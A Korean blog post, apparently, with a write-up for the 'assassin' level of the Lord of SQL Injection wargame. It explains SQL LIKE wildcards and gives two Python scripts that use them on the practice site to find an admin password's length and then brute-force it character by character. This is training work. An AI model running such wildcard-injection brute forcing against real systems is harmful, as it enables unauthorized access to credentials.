ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Lord of SQL Injection> assassin
    Wargame/Lord of SQL Injection 2021. 11. 16. 12:18

    assassin

    GET 방식으로 전달받은 pw의 값은 싱글 쿼터(')를 필터링한다.

    그리고 'id'의 값이 'admin'일 경우 문제를 해결할 수 있다.

     

    like는 특정 문자를 모르더라도 검색할 수 있는 와일드카드 %와 _를 지원한다

    %는 모든 문자를 의미하고,

    _는 한 글자를 의미한다.

    A% A로 시작하는 문자열을 가져온다.
    A%B A로 시작하고 B로 끝나는 문자열을 가져온다.
    %A A로 끝나는 문자열을 가져온다.
    A_ A로 시작하고 뒤에 한 글자가 있는 문자열을 가져온다.
    A__ A로 시작하고 뒤에 두 글자가 있는 문자열을 가져온다.
    _A 맨 앞에 한 글자 뒤에 A가 있는 문자열을 가져온다.

     

    먼저, pw의 길이를 찾아야 한다.

    _를 사용해서 ?pw=_*n 을 통해 pw의 길이를 구할 수 있다.

    ex) ?pw=_ 또는 ?pw=__ 또는 ?pw=___ 등

    import requests
    
    baseurl = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
    cookies = {"PHPSESSID" : "pa77cad77sk0qgeq3uhf0mbc1p"}
    want_str = "<h2>Hello guest</h2>"
    
    for i in range(100):
        url = baseurl + '?pw=' + '_' * i
        res = requests.get(url=url, cookies=cookies)
        
        if want_str in res.text:
            print("pw의 길이 : ", i)  # 8
            break

    pw의 길이가 8인 것을 확인할 수 있다.

     

    이제 한 글자씩 구해야 한다.

    0_______ 부터 _______z 까지 구해볼 수 있다.

    "Hello admin"이 출력되지 않을 경우, "Hello guest"가 나오는 문자를 패스워드로 저장했다.

    import requests
    
    baseurl = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
    cookies = {"PHPSESSID" : "pa77cad77sk0qgeq3uhf0mbc1p"}
    want_str = "<h2>Hello admin</h2>"
    want_str2 = "<h2>Hello guest</h2>"
    pw = ""
    tmp = ""
    
    for i in range(8):
        for j in range(33, 127):
            if j == 37 or j == 95:  # chr(37) = %, chr(95) = _
                continue
            url = baseurl + "?pw=" + "_" * i + "{}".format(chr(j)) + "_" * (7-i)
            res = requests.get(url=url, cookies=cookies)
    
            if want_str in res.text:
                tmp = chr(j)
                break
            
            if want_str2 in res.text:
                tmp = chr(j)
        pw += tmp
    print("pw : ", pw)

    위를 통해 구한 pw를 전달하면 문제를 해결할 수 있다.

     

    'Wargame > Lord of SQL Injection' 카테고리의 다른 글

    <Lord of SQL Injection> zombie_assassin  (0) 2021.11.18
    <Lord of SQL Injection> succubus  (0) 2021.11.17
    <Lord of SQL Injection> giant  (0) 2021.11.15
    <Lord of SQL Injection> bugbear  (0) 2021.11.15
    <Lord of SQL Injection> skeleton  (0) 2021.11.14
Designed by Tistory.